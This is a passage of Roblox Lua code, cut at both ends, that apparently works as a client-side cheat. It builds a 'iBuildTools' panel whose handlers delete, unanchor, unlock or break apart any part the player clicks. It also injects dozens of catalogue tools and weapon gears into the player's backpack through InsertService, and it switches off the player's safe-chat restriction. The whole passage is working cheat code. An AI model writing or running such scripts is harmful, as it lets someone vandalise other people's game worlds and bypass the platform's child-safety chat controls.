- cls.ZIndex=10
- cls.Font="ArialBold"
- cls.FontSize="Size12"
- cls.Text="X"
- cls.TextColor3=Color3.new(1,0,0)
- wtl=Instance.new("TextLabel",frs)
- wtl.Name="iBTitle"
- wtl.BackgroundTransparency=1
- wtl.Size=UDim2.new(1,0,0.25,0)
- wtl.ZIndex=9
- wtl.Font="ArialBold"
- wtl.FontSize="Size14"
- wtl.Text="iBuildTools Settings Window"
- wtl.TextColor3=Color3.new(1,1,1)
- wtl.TextStrokeColor3=Color3.new(0,0,0)
- wtl.TextStrokeTransparency=0
- wtl.TextXAlignment="Left"
- clk=Instance.new("TextLabel",frw)
- clk.Name="iBClick"
- clk.BackgroundTransparency=1
- clk.Size=UDim2.new(1,0,0.330000013,0)
- clk.ZIndex=10
- clk.Font="ArialBold"
- clk.FontSize="Size12"
- clk.TextColor3=Color3.new(1,1,1)
- clk.Text=" - Click Mode : "
- clk.TextStrokeColor3=Color3.new(0,0,0)
- clk.TextStrokeTransparency=0
- clk.TextXAlignment="Left"
- ray=Instance.new("TextLabel",frw)
- ray.Name="iBRay"
- ray.BackgroundTransparency=1
- ray.Position=UDim2.new(0,0,0.330000013,0)
- ray.Size=UDim2.new(1,0,0.330000013,0)
- ray.ZIndex=10
- ray.Font="ArialBold"
- ray.FontSize="Size12"
- ray.TextColor3=Color3.new(1,1,1)
- ray.Text=" - Ray Mode : "
- ray.TextStrokeColor3=Color3.new(0,0,0)
- ray.TextStrokeTransparency=0
- ray.TextXAlignment="Left"
- rfc=Instance.new("TextLabel",frw)
- rfc.Name="iBRayFunction"
- rfc.BackgroundTransparency=1
- rfc.Position=UDim2.new(0,0,0.660000013,0)
- rfc.Size=UDim2.new(1,0,0.330000013,0)
- rfc.ZIndex=10
- rfc.Font="ArialBold"
- rfc.FontSize="Size12"
- rfc.TextColor3=Color3.new(1,1,1)
- rfc.Text=" - Ray Function : "
- rfc.TextStrokeColor3=Color3.new(0,0,0)
- rfc.TextStrokeTransparency=0
- rfc.TextXAlignment="Left"
- ckb=Instance.new("TextButton",frw)
- ckb.Name="iBClickButton"
- ckb.Position=UDim2.new(0.400000006,0,0,0)
- ckb.Size=UDim2.new(0.600000024,0,0.330000013,0)
- ckb.ZIndex=10
- ckb.Selected=true
- ckb.Style="RobloxButtonDefault"
- ckb.Font="ArialBold"
- ckb.FontSize="Size12"
- ckb.Text="Enabled"
- ckb.TextColor3=Color3.new(0,1,0)
- ryb=Instance.new("TextButton",frw)
- ryb.Name="iBRayButton"
- ryb.Position=UDim2.new(0.400000006,0,0.330000013,0)
- ryb.Size=UDim2.new(0.600000024,0,0.330000013,0)
- ryb.Style="RobloxButton"
- ryb.ZIndex=10
- ryb.Font="ArialBold"
- ryb.FontSize="Size12"
- ryb.Text="Disabled"
- ryb.TextColor3=Color3.new(1,0,0)
- rfb=Instance.new("TextButton",frw)
- rfb.Name="iBRayFButton"
- rfb.Position=UDim2.new(0.400000006,0,0.660000013,0)
- rfb.Size=UDim2.new(0.600000024,0,0.330000013,0)
- rfb.Style="RobloxButtonDefault"
- rfb.ZIndex=10
- rfb.Font="ArialBold"
- rfb.FontSize="Size12"
- rfb.Text="Enable Propertie"
- rfb.TextColor3=Color3.new(0,1,0)
- end
- createGui()
- coroutine.resume(coroutine.create(function()
- while(mouse)and wait() do
- if(box)and(ray)then
- if(lvi)then
- lso.Visible=true
- else
- lso.Visible=false
- end
- if(md1==1)then
- if(clr)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- box.Visible=true
- box.Parent=chr
- box.Adornee=mouse.Target
- if(md2==1)then
- box.Color=BrickColor.new("Bright red")
- elseif(md2==2)then
- if(mouse.Target.Anchored)then
- box.Color=BrickColor.new("Camo")
- else
- box.Color=BrickColor.new("Bright red")
- end
- elseif(md2==3)then
- if(mouse.Target.CanCollide)then
- box.Color=BrickColor.new("Camo")
- else
- box.Color=BrickColor.new("Bright red")
- end
- elseif(md2==4)then
- if(mouse.Target.Locked)then
- box.Color=BrickColor.new("Camo")
- else
- box.Color=BrickColor.new("Bright red")
- end
- elseif(md2==5)then
- box.Color=BrickColor.new("Bright blue")
- end
- end
- else
- box.Visible=false
- box.Parent=nil
- box.Adornee=nil
- end
- end
- elseif(md1==2)then
- lso.Point=mouse.Hit.p
- lso.Parent=chr
- box.Visible=false
- box.Parent=nil
- box.Adornee=nil
- if(md2~=1)and(md2~=5)then
- if(md3==1)then
- lso.Color=BrickColor.new("Camo")
- elseif(md3==2)then
- lso.Color=BrickColor.new("Bright red")
- end
- elseif(md2==1)then
- if(cle)then
- lso.Color=BrickColor.new("Bright red")
- else
- lso.Color=BrickColor.new("Bright blue")
- end
- elseif(md2==5)then
- if(cle)then
- lso.Color=BrickColor.new("Bright red")
- else
- lso.Color=BrickColor.new("Bright blue")
- end
- end
- end
- end
- end
- end))
- function delDown()
- del_downFunc=mouse.Button1Down:connect(function()
- md2=1
- if(md2==1)then
- if(md1==1)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- mouse.Target:remove()
- end
- end
- elseif(md1==2)then
- lvi=true
- while(lvi)and wait() do
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- mouse.Target:remove()
- cle=true
- wait(tme)
- cle=false
- else
- cle=false
- end
- else
- cle=false
- end
- end
- end
- end
- end)
- end
- function delUp()
- del_upFunc=mouse.Button1Up:connect(function()
- lvi=false
- cle=false
- end)
- end
- function achDown()
- ach_downFunc=mouse.Button1Down:connect(function()
- md2=2
- if(md2==2)then
- if(md1==1)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- if(mouse.Target.Anchored)then
- mouse.Target.Anchored=false
- else
- mouse.Target.Anchored=true
- end
- end
- end
- elseif(md1==2)then
- lvi=true
- while(lvi)and wait() do
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- if(md3==1)then
- mouse.Target.Anchored=true
- elseif(md3==2)then
- mouse.Target.Anchored=false
- end
- end
- end
- end
- end
- end
- end)
- end
- function achUp()
- ach_upFunc=mouse.Button1Up:connect(function()
- lvi=false
- end)
- end
- function colDown()
- col_downFunc=mouse.Button1Down:connect(function()
- md2=3
- if(md2==3)then
- if(md1==1)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- if(mouse.Target.CanCollide)then
- mouse.Target.CanCollide=false
- else
- mouse.Target.CanCollide=true
- end
- end
- end
- elseif(md1==2)then
- lvi=true
- while(lvi)and wait() do
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- if(md3==1)then
- mouse.Target.CanCollide=true
- elseif(md3==2)then
- mouse.Target.CanCollide=false
- end
- end
- end
- end
- end
- end
- end)
- end
- function colUp()
- col_upFunc=mouse.Button1Up:connect(function()
- lvi=false
- end)
- end
- function lckDown()
- lck_downFunc=mouse.Button1Down:connect(function()
- md2=4
- if(md2==4)then
- if(md1==1)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- if(mouse.Target.Locked)then
- mouse.Target.Locked=false
- else
- mouse.Target.Locked=true
- end
- end
- end
- elseif(md1==2)then
- lvi=true
- while(lvi)and wait() do
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- if(md3==1)then
- mouse.Target.Locked=true
- elseif(md3==2)then
- mouse.Target.Locked=false
- end
- end
- end
- end
- end
- end
- end)
- end
- function lckUp()
- lck_upFunc=mouse.Button1Up:connect(function()
- lvi=false
- end)
- end
- function brkDown()
- brk_downFunc=mouse.Button1Down:connect(function()
- md2=5
- if(md2==5)then
- if(md1==1)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- clr=false
- box.Color=BrickColor.new("Bright red")
- mouse.Target:BreakJoints()
- end
- end
- elseif(md1==2)then
- lvi=true
- while(lvi)and wait() do
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
- mouse.Target:BreakJoints()
- cle=true
- else
- cle=true
- end
- else
- cle=false
- end
- end
- end
- end
- end)
- end
- function brkUp()
- brk_upFunc=mouse.Button1Up:connect(function()
- clr=true
- lvi=false
- cle=false
- end)
- end
- delDown()
- delUp()
- achDown()
- achUp()
- colDown()
- colUp()
- lckDown()
- lckUp()
- brkDown()
- brkUp()
- del.MouseButton1Click:connect(function()
- md2=1
- del_downFunc:disconnect()
- del_upFunc:disconnect()
- ach_downFunc:disconnect()
- ach_upFunc:disconnect()
- col_downFunc:disconnect()
- col_upFunc:disconnect()
- lck_downFunc:disconnect()
- lck_upFunc:disconnect()
- brk_downFunc:disconnect()
- brk_upFunc:disconnect()
- del.Style="RobloxButtonDefault"
- del.Selected=true
- ach.Style="RobloxButton"
- ach.Selected=false
- col.Style="RobloxButton"
- col.Selected=false
- lck.Style="RobloxButton"
- lck.Selected=false
- brk.Style="RobloxButton"
- brk.Selected=false
- delDown()
- delUp()
- end)
- ach.MouseButton1Click:connect(function()
- md2=2
- del_downFunc:disconnect()
- del_upFunc:disconnect()
- ach_downFunc:disconnect()
- ach_upFunc:disconnect()
- col_downFunc:disconnect()
- col_upFunc:disconnect()
- lck_downFunc:disconnect()
- lck_upFunc:disconnect()
- brk_downFunc:disconnect()
- brk_upFunc:disconnect()
- del.Style="RobloxButton"
- del.Selected=false
- ach.Style="RobloxButtonDefault"
- ach.Selected=true
- col.Style="RobloxButton"
- col.Selected=false
- lck.Style="RobloxButton"
- lck.Selected=false
- brk.Style="RobloxButton"
- brk.Selected=false
- achDown()
- achUp()
- end)
- col.MouseButton1Click:connect(function()
- md2=3
- del_downFunc:disconnect()
- del_upFunc:disconnect()
- ach_downFunc:disconnect()
- ach_upFunc:disconnect()
- col_downFunc:disconnect()
- col_upFunc:disconnect()
- lck_downFunc:disconnect()
- lck_upFunc:disconnect()
- brk_downFunc:disconnect()
- brk_upFunc:disconnect()
- del.Style="RobloxButton"
- del.Selected=false
- ach.Style="RobloxButton"
- ach.Selected=false
- col.Style="RobloxButtonDefault"
- col.Selected=true
- lck.Style="RobloxButton"
- lck.Selected=false
- brk.Style="RobloxButton"
- brk.Selected=false
- colDown()
- colUp()
- end)
- lck.MouseButton1Click:connect(function()
- md2=4
- del_downFunc:disconnect()
- del_upFunc:disconnect()
- ach_downFunc:disconnect()
- ach_upFunc:disconnect()
- col_downFunc:disconnect()
- col_upFunc:disconnect()
- lck_downFunc:disconnect()
- lck_upFunc:disconnect()
- brk_downFunc:disconnect()
- brk_upFunc:disconnect()
- del.Style="RobloxButton"
- del.Selected=false
- ach.Style="RobloxButton"
- ach.Selected=false
- col.Style="RobloxButton"
- col.Selected=false
- lck.Style="RobloxButtonDefault"
- lck.Selected=true
- brk.Style="RobloxButton"
- brk.Selected=false
- lckDown()
- lckUp()
- end)
- brk.MouseButton1Click:connect(function()
- md2=5
- del_downFunc:disconnect()
- del_upFunc:disconnect()
- ach_downFunc:disconnect()
- ach_upFunc:disconnect()
- col_downFunc:disconnect()
- col_upFunc:disconnect()
- lck_downFunc:disconnect()
- lck_upFunc:disconnect()
- brk_downFunc:disconnect()
- brk_upFunc:disconnect()
- del.Style="RobloxButton"
- del.Selected=false
- ach.Style="RobloxButton"
- ach.Selected=false
- col.Style="RobloxButton"
- col.Selected=false
- lck.Style="RobloxButton"
- lck.Selected=false
- brk.Style="RobloxButtonDefault"
- brk.Selected=true
- brkDown()
- brkUp()
- end)
- set.MouseButton1Click:connect(function()
- if(ste)then
- ste=false
- frs.Visible=false
- set.Style="RobloxButton"
- else
- ste=true
- frs.Visible=true
- set.Style="RobloxButtonDefault"
- end
- end)
- cls.MouseButton1Click:connect(function()
- ste=false
- frs.Visible=false
- set.Style="RobloxButton"
- end)
- ckb.MouseButton1Click:connect(function()
- md1=1
- ckb.Style="RobloxButtonDefault"
- ckb.Selected=true
- ckb.Text="Enabled"
- ckb.TextColor3=Color3.new(0,1,0)
- ryb.Style="RobloxButton"
- ryb.Selected=false
- ryb.Text="Disabled"
- ryb.TextColor3=Color3.new(1,0,0)
- end)
- ryb.MouseButton1Click:connect(function()
- md1=2
- ryb.Style="RobloxButtonDefault"
- ryb.Selected=true
- ryb.Text="Enabled"
- ryb.TextColor3=Color3.new(0,1,0)
- ckb.Style="RobloxButton"
- ckb.Selected=false
- ckb.Text="Disabled"
- ckb.TextColor3=Color3.new(1,0,0)
- end)
- rfb.MouseButton1Click:connect(function()
- if(md3==1)then
- md3=2
- rfb.Style="RobloxButton"
- rfb.Text="Disable Propertie"
- rfb.TextColor3=Color3.new(1,0,0)
- elseif(md3==2)then
- md3=1
- rfb.Style="RobloxButtonDefault"
- rfb.Text="Enable Propertie"
- rfb.TextColor3=Color3.new(0,1,0)
- end
- end)
- end)
- bin.Deselected:connect(function() print("iBTool_Deselected")
- clr=false
- if(box~=nil)then
- box:remove()
- end
- if(lso~=nil)then
- lso:remove()
- end
- if(gui~=nil)then
- gui:remove()
- end
- end)]]
- iBToolScript.Disabled=true
- iBToolScript.Disabled=false
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then
- local load=ctool("LoadingBTools...")
- end
- local insrt1 = game:GetService("InsertService"):LoadAsset(58901534)--resize
- for _, v in pairs(insrt1:GetChildren()) do
- v.Name='iResizeTool'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt1 = game:GetService("InsertService"):LoadAsset(16975388)--config1
- for _, v in pairs(insrt1:GetChildren()) do
- v.Name='iConfigTool1'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt2 = game:GetService("InsertService"):LoadAsset(18474459)--paint
- for _, v in pairs(insrt2:GetChildren()) do
- v.Name='iPaintTool'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt3 = game:GetService("InsertService"):LoadAsset(36334760)--dragger
- for _, v in pairs(insrt3:GetChildren()) do
- v.Name='iDraggerTool'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt4 = game:GetService("InsertService"):LoadAsset(58901405)--material
- for _, v in pairs(insrt4:GetChildren()) do
- v.Name='iMaterialTool'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt5 = game:GetService("InsertService"):LoadAsset(58901575)--surface
- for _, v in pairs(insrt5:GetChildren()) do
- v.Name='iSurfaceTool'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt6 = game:GetService("InsertService"):LoadAsset(58901335)--insert
- for _, v in pairs(insrt6:GetChildren()) do
- v.Name='iInsertTool'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt7 = game:GetService("InsertService"):LoadAsset(55028088)--stamper
- for _, v in pairs(insrt7:GetChildren()) do
- v.Name='iStamperTool'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt8 = game:GetService("InsertService"):LoadAsset(73089239)--config2
- for _, v in pairs(insrt8:GetChildren()) do
- v.Name='iConfigTool2'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt9 = game:GetService("InsertService"):LoadAsset(58880579)--rotate
- for _, v in pairs(insrt9:GetChildren()) do
- v.Name='iRotateTool'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt10 = game:GetService("InsertService"):LoadAsset(60791062)--wiring
- for _, v in pairs(insrt10:GetChildren()) do
- v.Name='iWiringTool'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt10 = game:GetService("InsertService"):LoadAsset(36738185)--delete
- for _, v in pairs(insrt10:GetChildren()) do
- v.Name='iDeleteTool'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- wait()
- if (game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then
- game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."):remove()
- end
- end))
- elseif Key==GearKey then
- Player:SetSuperSafeChat(false)
- coroutine.resume(coroutine.create(function()
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
- MergeTool=ctool("iMergeTool")
- MergeScript=Instance.new("LocalScript",MergeTool)
- end
- MergeScript.Source=MergeScriptSource
- MergeScript.Disabled=true
- MergeScript.Disabled=false
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then
- local load=ctool("LoadingGears...")
- end
- local insrt8 = game:GetService("InsertService"):LoadAsset(16688968)--coil
- for _, v in pairs(insrt8:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt9 = game:GetService("InsertService"):LoadAsset(52180871)--remotecontroltruck
- for _, v in pairs(insrt9:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt10 = game:GetService("InsertService"):LoadAsset(55917429)--bow
- for _, v in pairs(insrt10:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt11 = game:GetService("InsertService"):LoadAsset(31314931)--epicsauce
- for _, v in pairs(insrt11:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt12 = game:GetService("InsertService"):LoadAsset(65545955)--dancegrenade
- for _, v in pairs(insrt12:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt13 = game:GetService("InsertService"):LoadAsset(28277486)--bomb
- for _, v in pairs(insrt13:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt14 = game:GetService("InsertService"):LoadAsset(27902406)--skate
- for _, v in pairs(insrt14:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt15 = game:GetService("InsertService"):LoadAsset(42845853)--freezeray
- for _, v in pairs(insrt15:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt16 = game:GetService("InsertService"):LoadAsset(50937815)--atomgun
- for _, v in pairs(insrt16:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt17 = game:GetService("InsertService"):LoadAsset(34898883)--platformproducer
- for _, v in pairs(insrt17:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt18 = game:GetService("InsertService"):LoadAsset(35683911)--wallwalker
- for _, v in pairs(insrt18:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt19 = game:GetService("InsertService"):LoadAsset(68603151)--sentry
- for _, v in pairs(insrt19:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt20 = game:GetService("InsertService"):LoadAsset(26421972)--zombie
- for _, v in pairs(insrt20:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt21 = game:GetService("InsertService"):LoadAsset(34901961)--gravity
- for _, v in pairs(insrt21:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt22 = game:GetService("InsertService"):LoadAsset(10468797)--banhammer
- for _, v in pairs(insrt22:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt23 = game:GetService("InsertService"):LoadAsset(71422361)--coolsword1
- for _, v in pairs(insrt23:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt24 = game:GetService("InsertService"):LoadAsset(62350883)--coolsword2
- for _, v in pairs(insrt24:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt25 = game:GetService("InsertService"):LoadAsset(30847733)--vinestaff
- for _, v in pairs(insrt25:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt26 = game:GetService("InsertService"):LoadAsset(48596324)--leviatingstaff
- for _, v in pairs(insrt26:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt27 = game:GetService("InsertService"):LoadAsset(61459706)--polaritystaff
- for _, v in pairs(insrt27:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt28 = game:GetService("InsertService"):LoadAsset(66416616)--zeusstaff
- for _, v in pairs(insrt28:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt29 = game:GetService("InsertService"):LoadAsset(33866846)--gravhammer
- for _, v in pairs(insrt29:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt30 = game:GetService("InsertService"):LoadAsset(30847779)--magicninja
- for _, v in pairs(insrt30:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt31 = game:GetService("InsertService"):LoadAsset(60888284)--dualkamas
- for _, v in pairs(insrt31:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt32 = game:GetService("InsertService"):LoadAsset(42845609)--bbgun
- for _, v in pairs(insrt32:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt33 = game:GetService("InsertService"):LoadAsset(32356064)--rocketlauncher
- for _, v in pairs(insrt33:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt34 = game:GetService("InsertService"):LoadAsset(69209924)--r80launcher
- for _, v in pairs(insrt34:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt35 = game:GetService("InsertService"):LoadAsset(69947379)--revengeancespear
- for _, v in pairs(insrt35:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt36 = game:GetService("InsertService"):LoadAsset(51760061)--deathspeaker
- for _, v in pairs(insrt36:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt37 = game:GetService("InsertService"):LoadAsset(59175769)--flamethrower1
- for _, v in pairs(insrt37:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt38 = game:GetService("InsertService"):LoadAsset(69499452)--laservision
- for _, v in pairs(insrt38:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt39 = game:GetService("InsertService"):LoadAsset(65082246)--dreamselixir
- for _, v in pairs(insrt39:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt40 = game:GetService("InsertService"):LoadAsset(55917420)--hydrianelexir
- for _, v in pairs(insrt40:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt41 = game:GetService("InsertService"):LoadAsset(50938746)--fermionblade
- for _, v in pairs(insrt41:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt42 = game:GetService("InsertService"):LoadAsset(72644644)--quantumentangler
- for _, v in pairs(insrt42:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt43 = game:GetService("InsertService"):LoadAsset(72713855)--giantoform
- for _, v in pairs(insrt43:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt44 = game:GetService("InsertService"):LoadAsset(26774629)--expander
- for _, v in pairs(insrt44:GetChildren()) do
